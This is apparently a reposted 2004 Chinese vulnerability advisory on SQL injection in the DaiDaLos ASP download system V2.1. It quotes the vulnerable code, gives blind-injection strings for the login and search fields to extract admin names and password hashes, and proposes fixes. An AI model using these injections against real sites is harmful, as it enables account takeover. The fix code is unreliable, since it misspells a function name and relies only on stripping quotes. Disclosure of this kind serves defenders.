盗帅下载系统 V2.1 正式版(DaiDaLos)漏洞
/ns/ld/softld/data/20040827214643.htm
					盗帅下载系统 V2.1 正式版(DaiDaLos)漏洞
涉及版本: 
盗帅下载系统最新版本(V2.1正式版) 
描述: 
    盗帅下载系统是一款由WWW.DAOSHUAI.COM开发和维护的源代码开放的Asp下载系统;由于其function.asp文件中多个函数没有对提交的数据过滤,而是直接放到SQL查询中,导致远程攻击者可以利用这个漏洞进行SQL注入攻击,获得任意用户的MD5加密密码,进而威胁整个下载系统或服务器的安全。 
详细: 
    盗帅下载系统 
V2.1整合了SQL注入补丁和2.0 
SP1,消除了大批SQL注入隐患。但智者千虑,必有一失。废话少说,看function.asp文件代码,程序中大多数文件所使用的函数都在这了。 
    1、 
reg()函数中出现问题的代码(类似这样的函数有reg(),show_now()等): 
    876     case 
"log" 
    877   if 
request.QueryString("save")="ok" 
then 
    878   
numAdminip=request.servervariables("remote_addr") 
    879   
strUser=request.form("username") 
    880   
strPas=request.form("password") 
    881   
numCookies=request.form("cookies") 
    882   
numRCopyid=request.form("copyid") 
    883   
dateTime=now() 
    884   if 
strUser="" 
then 
    885     strERR="使用匿名进行登陆" 
    886   
else 
    887     Set rs = 
Server.CreateObject("ADODB.Recordset") 
    888     sql="select 
admin.admin,admin.pws,admin.qx from admin where 
admin='"&strUser&"'" 
    889     rs.open 
sql,conn,1,1 
    890     if rs.eof 
then 
    891     
strERR="使用未注册的用户账号: "&strUser&" 
登陆本系统" 
    else 
    …               … 
    很明显,没有对strUser进行任何过滤。虽然程序中尽量减少了返回错误的信息,只返回同一种错误,但同样可以引起SQL注入。在使用show_now()注入时,返回的判断不是特别明显,可以自己研究一下。(在lost中同样存在此问题) 
    2、同样在function.asp中,list_soft()函数中也存在问题。这个函数功能是软件显示(搜索),还是先看代码吧: 
    212     strTch=request("TTYPE") 
    213     strSearch=request("KEY") 
    … 
    223     sql3="select 
* from download" 
    224     if 
strType<>"" 
then 
    225     sql3=sql3&" 
where boolZhen=False and 
numSortcount="&strType 
    226     else 
    227     
if strSearch<>"" 
then 
    228       if 
strTch="BYNAME" 
then 
    229       
sql3=sql3&" where boolZhen=False and name like 
'%"&strSearch&"%'" 
    230       else 
    231       
sql3=sql3&" where boolZhen=False and strShow like 
'%"&strSearch&"%'" 
    232         end 
if 
    233   
else 
    234     sql3=sql3&" 
where boolZhen=False" 
    235   end 
if 
    236     end 
if 
    237     if 
strRang<>"" 
then 
    238     sql3=sql3&" 
order by "&strRang&" 
desc" 
    239     else 
    240     
sql3=sql3&" order by dateRtime 
desc" 
    241     end 
if 
    想必你已经看出来了吧!我再多说点废话解释一下吧(哎呦……谁用可乐罐砸我?!%#)!我们主要看strSearch的作用(这个是查询的关键字,看到了吧!没做过滤!)下面来做个假设(前提:strTch="BYNAME"): 
    strSearch的值为:狼族软件 
    那么得到的sql3为: 
    select 
* from download where boolzhen=false and name like '%狼族软件%' order by 
datertime 
desc 
    这个是正常的,再看另一个: 
    strSearch的值为:狼族软件' 
and 0<>(select count(*) from admin) and strshow like 
' 
    那么得到的sql3为:select * from download where 
boolzhen=false and name like '%狼族软件' and 0<>(select count(*) from admin) 
and strshow like '%' order by datertime 
desc 
    怎么样!呵呵,strshow like 
‘%’恒为真,如果有个软件名以“狼族软件”为结尾的话,那么name like 
‘%狼族软件’ 
也为真,最后是否显示就要看中间那个子查询是否为真了。这样判断查询是否正确就容易多了。好了,不再废话了。 
攻击方法: 
    对于第一种情况,我们以reg函数中log情况为例:首先注册一个用户,我注册的是用户名panderlang,密码panderlang。然后转到登陆页面,在用户名里填写: 
    panderlang' 
and 1=(select count(*) from admin) and 
'1'='1 
    在密码框填写自己的密码、验证码,提交。 
    如果返回“登陆成功”的话,那么提交的查询正确;否则,查询错误。 
    我们可以尝试提交如下查询: 
    panderlang’ 
and 1=(select count(*) from admin where id=1) and 
‘1’=’1 
    panderlang’ and 1=(select count(*) from 
admin where id=1 and len(admin)=5) and 
‘1’=’1 
    panderlang’ and 1=(select count(*) from 
admin where id=1 and len(pwd)=32) and 
‘1’=’1 
    ……… 
    对于第二中情况,我们可以找个软件的名称,比如说“狼族攻击器”,那么我们在index.asp或者list.asp中的查询框中选“按内容”搜索,在关键字中填写如下形式: 
    狼族攻击器' 
and 0<>(select count(*) from admin) and strshow like 
' 
    然后不断更改中间的查询来猜测,剩下的就不用再说了。 
本来想拿到MD5加密的密码后用cookies欺骗进去,结果这个下载系统中cookies的密码是登陆时所填的,而不是MD5加密过的。喜欢暴力破解的朋友可以试试。 
    防范方法: 
    对于reg()函数 
    818行: 
    sql="select 
count(id) as numAdmin from admin where 
admin='"&Reg_set(0)&"'" 
        rs=conn.execute(sql) 
        if 
rs("numAdmin")>="1" 
then 
        
response.write("<tr>"&_ 
            
"<td width='100%' 
align='center'><li>输入的用户名已被人使用,请更换 
<a 
href=javascript:history.back(-1)>点击返回→</a></td>"&_ 
            
"</tr>") 
        else 
        
sql="insert into 
admin(admin,pws,regemail,useravatar,picwidth,picheight,moneyert,strQuest,strPrint,qx) 
values('"&Reg_set(0)&"','"&md5(Reg_set(1))&"','"&Reg_set(5)&"','images/pic/noavatar.gif',100,75,"&numMoneys_1&",'"&Reg_set(3)&"','"&md5(Reg_set(4))&"',5)" 
    对Reg_set(0)进行过滤: 
    RegUser=left(replace(repalce(Reg_set(0),"'",""),";",""),20)   
'过滤掉'和;符号,只取前20位作为用户名 
    然后把第一个sql改为:sql="select 
count(id) as numAdmin from admin where 
admin='"&RegUser&"'" 
    第一个sql为:"insert 
into 
admin(admin,pws,regemail,useravatar,picwidth,picheight,moneyert,strQuest,strPrint,qx) 
values('"&RegUser&"','"&md5(Reg_set(1))&"','"&Reg_set(5)&"','images/pic/noavatar.gif',100,75,"&numMoneys_1&",'"&Reg_set(3)&"','"&md5(Reg_set(4))&"',5)" 
    对于log() 
    887行: 
    Set 
rs = 
Server.CreateObject("ADODB.Recordset") 
        sql="select 
admin.admin,admin.pws,admin.qx from admin where 
admin='"&strUser&"'" 
        rs.open 
sql,conn,1,1 
        if rs.eof 
then 
        
strERR="使用未注册的用户账号: "&strUser&" 
登陆本系统" 
    在前面对strUser过滤: 
    strUser=left(replace(repalce(strUser,"'",""),";",""),20)   '同样取前20位 
    对于list_soft()函数,在227行前边对strSearch过滤: 
    strSearch=replace(strSearch,"'","") 
    对show_now() 
    1520行: 
    strId=Request.QueryString("id") 
    If 
strID="" or IsNumeric(strId)=false or strId<1 
then 
        strId=1   
'你可以把它赋一个存在的分类ID,可以用查询来实现 
    end 
if 
        就到这里,废话就不多说了! 
 
 
 
=========================
文章类型:转载 提交:地圣独行 核查:NetDemon